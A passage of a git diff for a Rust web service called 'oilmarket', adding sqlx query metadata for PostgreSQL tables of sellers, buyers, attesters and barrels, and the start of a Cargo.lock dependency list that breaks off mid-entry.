LEFT JOIN barrels b\n ON s.id = b.seller_id\n WHERE s.api_key = $1\n GROUP BY s.id", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "api_key", + "type_info": "Uuid" + }, + { + "ordinal": 3, + "name": "barrels!: Vec", + "type_info": "Int4Array" + } + ], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [ + false, + false, + false, + null + ] + }, + "hash": "0865e38359e0800779ba2b5f48b6e1f875ae652a0300c3382908d230babd88e2" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-27842df2f461aadcebdd608641a0c0bd3a9b5be8b37d650b75b09c0b205831bb.json b/services/oilmarket/oilmarket/.sqlx/query-27842df2f461aadcebdd608641a0c0bd3a9b5be8b37d650b75b09c0b205831bb.json new file mode 100644 index 0000000..2e7a89b --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-27842df2f461aadcebdd608641a0c0bd3a9b5be8b37d650b75b09c0b205831bb.json @@ -0,0 +1,12 @@ +{ + "db_name": "PostgreSQL", + "query": "\n CREATE TABLE IF NOT EXISTS buyer_attester (\n buyer_id INTEGER REFERENCES buyers(id),\n attester_id INTEGER REFERENCES attesters(id),\n PRIMARY KEY(buyer_id, attester_id)\n )\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [] + }, + "nullable": [] + }, + "hash": "27842df2f461aadcebdd608641a0c0bd3a9b5be8b37d650b75b09c0b205831bb" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-4bec093fd35154fadd5df13b9dd52e5aa407100aa37cda286aa6d8a9e01e1aca.json b/services/oilmarket/oilmarket/.sqlx/query-4bec093fd35154fadd5df13b9dd52e5aa407100aa37cda286aa6d8a9e01e1aca.json new file mode 100644 index 0000000..0fc6c0e --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-4bec093fd35154fadd5df13b9dd52e5aa407100aa37cda286aa6d8a9e01e1aca.json @@ -0,0 +1,22 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO barrels\n (seller_id)\n VALUES ($1)\n RETURNING id", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false + ] + }, + "hash": "4bec093fd35154fadd5df13b9dd52e5aa407100aa37cda286aa6d8a9e01e1aca" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-6b971574316b3ea6fe8fc295a328788cb258f6f2761a67a8ff391ad085654d8c.json b/services/oilmarket/oilmarket/.sqlx/query-6b971574316b3ea6fe8fc295a328788cb258f6f2761a67a8ff391ad085654d8c.json new file mode 100644 index 0000000..af2be26 --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-6b971574316b3ea6fe8fc295a328788cb258f6f2761a67a8ff391ad085654d8c.json @@ -0,0 +1,40 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT id, name, api_key, key\n FROM attesters\n WHERE name = $1", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "api_key", + "type_info": "Uuid" + }, + { + "ordinal": 3, + "name": "key", + "type_info": "Text" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false + ] + }, + "hash": "6b971574316b3ea6fe8fc295a328788cb258f6f2761a67a8ff391ad085654d8c" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-7a163b832f406aa168f147ea3e9b3cc54d887f1506f706f71c923c594ae5c804.json b/services/oilmarket/oilmarket/.sqlx/query-7a163b832f406aa168f147ea3e9b3cc54d887f1506f706f71c923c594ae5c804.json new file mode 100644 index 0000000..c8f63a9 --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-7a163b832f406aa168f147ea3e9b3cc54d887f1506f706f71c923c594ae5c804.json @@ -0,0 +1,12 @@ +{ + "db_name": "PostgreSQL", + "query": "\n CREATE TABLE IF NOT EXISTS attesters (\n id SERIAL PRIMARY KEY,\n name VARCHAR UNIQUE NOT NULL,\n api_key uuid UNIQUE NOT NULL,\n key TEXT NOT NULL\n )\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [] + }, + "nullable": [] + }, + "hash": "7a163b832f406aa168f147ea3e9b3cc54d887f1506f706f71c923c594ae5c804" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-9d438933891a07b821827ddaff5bad897d55126d081b1d88d81ca333ed596080.json b/services/oilmarket/oilmarket/.sqlx/query-9d438933891a07b821827ddaff5bad897d55126d081b1d88d81ca333ed596080.json new file mode 100644 index 0000000..83c5e3b --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-9d438933891a07b821827ddaff5bad897d55126d081b1d88d81ca333ed596080.json @@ -0,0 +1,12 @@ +{ + "db_name": "PostgreSQL", + "query": "\n CREATE TABLE IF NOT EXISTS buyers (\n id SERIAL PRIMARY KEY,\n name VARCHAR UNIQUE NOT NULL,\n flag VARCHAR NOT NULL,\n api_key uuid UNIQUE NOT NULL\n )\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [] + }, + "nullable": [] + }, + "hash": "9d438933891a07b821827ddaff5bad897d55126d081b1d88d81ca333ed596080" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-ab52c0cdbc184d6844786c3ead58c73b2a5b69426f601e84d09bf4d5f2358f65.json b/services/oilmarket/oilmarket/.sqlx/query-ab52c0cdbc184d6844786c3ead58c73b2a5b69426f601e84d09bf4d5f2358f65.json new file mode 100644 index 0000000..926a2f8 --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-ab52c0cdbc184d6844786c3ead58c73b2a5b69426f601e84d09bf4d5f2358f65.json @@ -0,0 +1,16 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO attesters\n (name, api_key, key)\n VALUES ($1, $2, $3)", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Varchar", + "Uuid", + "Text" + ] + }, + "nullable": [] + }, + "hash": "ab52c0cdbc184d6844786c3ead58c73b2a5b69426f601e84d09bf4d5f2358f65" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-ba3fa959dec3c01f0cc0f43c7ca0510bd82c641e6cc43c798270992599464efe.json b/services/oilmarket/oilmarket/.sqlx/query-ba3fa959dec3c01f0cc0f43c7ca0510bd82c641e6cc43c798270992599464efe.json new file mode 100644 index 0000000..d21ed79 --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-ba3fa959dec3c01f0cc0f43c7ca0510bd82c641e6cc43c798270992599464efe.json @@ -0,0 +1,15 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO sellers\n (name, api_key)\n VALUES ($1, $2)", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Varchar", + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "ba3fa959dec3c01f0cc0f43c7ca0510bd82c641e6cc43c798270992599464efe" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-caca79ce6e1d959445686f5667ee0c7f97d1f3e50060ea49bd7baa7cddcc13d7.json b/services/oilmarket/oilmarket/.sqlx/query-caca79ce6e1d959445686f5667ee0c7f97d1f3e50060ea49bd7baa7cddcc13d7.json new file mode 100644 index 0000000..22449ee --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-caca79ce6e1d959445686f5667ee0c7f97d1f3e50060ea49bd7baa7cddcc13d7.json @@ -0,0 +1,24 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO buyers\n (name, api_key, flag)\n VALUES ($1, $2, $3)\n RETURNING id", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Uuid", + "Varchar" + ] + }, + "nullable": [ + false + ] + }, + "hash": "caca79ce6e1d959445686f5667ee0c7f97d1f3e50060ea49bd7baa7cddcc13d7" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-d3b42014ffd04ab1e12b9aa2efe9ab554f0549c01e26ab4dcd8b6e558d53cd16.json b/services/oilmarket/oilmarket/.sqlx/query-d3b42014ffd04ab1e12b9aa2efe9ab554f0549c01e26ab4dcd8b6e558d53cd16.json new file mode 100644 index 0000000..d6df787 --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-d3b42014ffd04ab1e12b9aa2efe9ab554f0549c01e26ab4dcd8b6e558d53cd16.json @@ -0,0 +1,12 @@ +{ + "db_name": "PostgreSQL", + "query": "\n CREATE TABLE IF NOT EXISTS sellers (\n id SERIAL PRIMARY KEY,\n name VARCHAR UNIQUE NOT NULL,\n api_key uuid UNIQUE NOT NULL\n )\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [] + }, + "nullable": [] + }, + "hash": "d3b42014ffd04ab1e12b9aa2efe9ab554f0549c01e26ab4dcd8b6e558d53cd16" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-de7b623d2fce884a69512f13f73f6e84f9bacd86b8e7e52158717cd2d2ffac68.json b/services/oilmarket/oilmarket/.sqlx/query-de7b623d2fce884a69512f13f73f6e84f9bacd86b8e7e52158717cd2d2ffac68.json new file mode 100644 index 0000000..967c425 --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-de7b623d2fce884a69512f13f73f6e84f9bacd86b8e7e52158717cd2d2ffac68.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "DELETE FROM barrels\n WHERE id = $1", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [] + }, + "hash": "de7b623d2fce884a69512f13f73f6e84f9bacd86b8e7e52158717cd2d2ffac68" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-e01dd9eacafc47366144149a7ba487c9922c57d3fbee7bbd4bf0f1b7b3154f64.json b/services/oilmarket/oilmarket/.sqlx/query-e01dd9eacafc47366144149a7ba487c9922c57d3fbee7bbd4bf0f1b7b3154f64.json new file mode 100644 index 0000000..c2e2e8b --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-e01dd9eacafc47366144149a7ba487c9922c57d3fbee7bbd4bf0f1b7b3154f64.json @@ -0,0 +1,12 @@ +{ + "db_name": "PostgreSQL", + "query": "\n CREATE TABLE IF NOT EXISTS barrels (\n id SERIAL PRIMARY KEY,\n seller_id INTEGER REFERENCES sellers(id)\n )\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [] + }, + "nullable": [] + }, + "hash": "e01dd9eacafc47366144149a7ba487c9922c57d3fbee7bbd4bf0f1b7b3154f64" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-e9a0f7e60f0b3b1813040dc0f4869d8e8582e0ba03a56535cece880faca2a77c.json b/services/oilmarket/oilmarket/.sqlx/query-e9a0f7e60f0b3b1813040dc0f4869d8e8582e0ba03a56535cece880faca2a77c.json new file mode 100644 index 0000000..f483156 --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-e9a0f7e60f0b3b1813040dc0f4869d8e8582e0ba03a56535cece880faca2a77c.json @@ -0,0 +1,40 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT id, name, api_key, key\n FROM attesters\n WHERE api_key = $1", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "api_key", + "type_info": "Uuid" + }, + { + "ordinal": 3, + "name": "key", + "type_info": "Text" + } + ], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [ + false, + false, + false, + false + ] + }, + "hash": "e9a0f7e60f0b3b1813040dc0f4869d8e8582e0ba03a56535cece880faca2a77c" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-fd21e75bbe29c4e7b1cfbed6d49b352efd208bf33296cba3c81914a4be77c00b.json b/services/oilmarket/oilmarket/.sqlx/query-fd21e75bbe29c4e7b1cfbed6d49b352efd208bf33296cba3c81914a4be77c00b.json new file mode 100644 index 0000000..9c01f9f --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-fd21e75bbe29c4e7b1cfbed6d49b352efd208bf33296cba3c81914a4be77c00b.json @@ -0,0 +1,15 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO buyer_attester\n (buyer_id, attester_id)\n VALUES ($1, $2)", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Int4", + "Int4" + ] + }, + "nullable": [] + }, + "hash": "fd21e75bbe29c4e7b1cfbed6d49b352efd208bf33296cba3c81914a4be77c00b" +} diff --git a/services/oilmarket/oilmarket/Cargo.lock b/services/oilmarket/oilmarket/Cargo.lock new file mode 100644 index 0000000..dcbe6c0 --- /dev/null +++ b/services/oilmarket/oilmarket/Cargo.lock @@ -0,0 +1,2275 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ahash" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a" +dependencies = [ + "cfg-if", + "getrandom", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5" + +[[package]] +name = "anyhow" +version = "1.0.75" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" + +[[package]] +name = "async-stream" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd56dd203fef61ac097dd65721a419ddccb106b2d2b70ba60a6b529f03961a51" +dependencies = [ + "async-stream-impl", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-stream-impl" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "async-trait" +version = "0.1.74" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a66537f1bb974b254c98ed142ff995236e81b9d0fe4db0575f46612cb15eb0f9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "atoi" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28d99ec8bfea296261ca1af174f24225171fea9664ba9003cbebee704810528" +dependencies = [ + "num-traits", +] + +[[package]] +name = "atomic-write-file" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edcdbedc2236483ab103a53415653d6b4442ea6141baf1ffa85df29635e88436" +dependencies = [ + "nix", + "rand 0.8.5", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "axum" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf" +dependencies = [ + "async-trait", + "axum-core", + "bitflags 1.3.2", + "bytes", + "futures-util", + "http", + "http-body", + "hyper", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "sync_wrapper", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http", + "http-body", + "mime", + "rustversion", + "tower-layer", + "tower-service", +] + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.21.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" + +[[package]] +name = "base64ct" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" +dependencies = [ + "serde", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "libc", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "cloudabi" +version = "0.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddfc5b9aa5d4507acaf872de71051dfd0e309860e88966e1051e462a077aac4f" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "const-oid" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28c122c3980598d243d63d9a704629a2d748d101f278052ff068be5a4423ab6f" + +[[package]] +name = "cpufeatures" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" +dependencies = [ + "libc", +] + +[[package]] +name = "crc" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86ec7a15cbe22e59248fc7eadb1907dab5ba09372595da4d73dd805ed4417dfe" +dependencies = [ + "crc-catalog", +] + +[[package]] +name = "crc-catalog" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5" + +[[package]] +name = "crossbeam-queue" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" +dependencies = [ + "cfg-if", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "der" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fffa369a668c8af7dbf8b5e56c9f744fbd399949ed171606040001947de40b1c" +dependencies = [ + "const-oid", + "pem-rfc7468", + "zeroize", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", + "subtle", +] + +[[package]] +name = "dotenvy" +version = "0.15.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aaf95b3e5c8f23aa320147307562d361db0ae0d51242340f558153b4eb2439b" + +[[package]] +name = "either" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +dependencies = [ + "serde", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "etcetera" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "136d1b5283a1ab77bd9257427ffd09d8667ced0570b6f938942bc7568ed5b943" +dependencies = [ + "cfg-if", + "home", + "windows-sys 0.48.0", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "finl_unicode" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fcfdc7a0362c9f4444381a9e697c79d435fe65b52a37466fc2c1184cee9edc6" + +[[package]] +name = "fixedbitset" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" + +[[package]] +name = "flume" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181" +dependencies = [ + "futures-core", + "futures-sink", + "spin 0.9.8", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fuchsia-cprng" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a06f77d526c1a601b7c4cdd98f54b5eaabffc14d5f2f0296febdc7f357c6d3ba" + +[[package]] +name = "futures-channel" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" + +[[package]] +name = "futures-executor" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-intrusive" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d930c203dd0b6ff06e0201a4a2fe9149b43c684fd4420555b26d21b1a02956f" +dependencies = [ + "futures-core", + "lock_api", + "parking_lot", +] + +[[package]] +name = "futures-io" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" + +[[package]] +name = "futures-sink" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e36d3378ee38c2a36ad710c5d30c2911d752cb941c00c72dbabfb786a7970817" + +[[package]] +name = "futures-task" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" + +[[package]] +name = "futures-util" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" +dependencies = [ + "futures-core", + "futures-io", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "h2" +version = "0.3.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap 2.1.0", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" +dependencies = [ + "ahash", + "allocator-api2", +] + +[[package]] +name = "hashlink" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7" +dependencies = [ + "hashbrown 0.14.3", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "hermit-abi" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hkdf" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "791a029f6b9fc27657f6f188ec6e5e43f6911f6f878e0dc5501396e09809d437" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "home" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 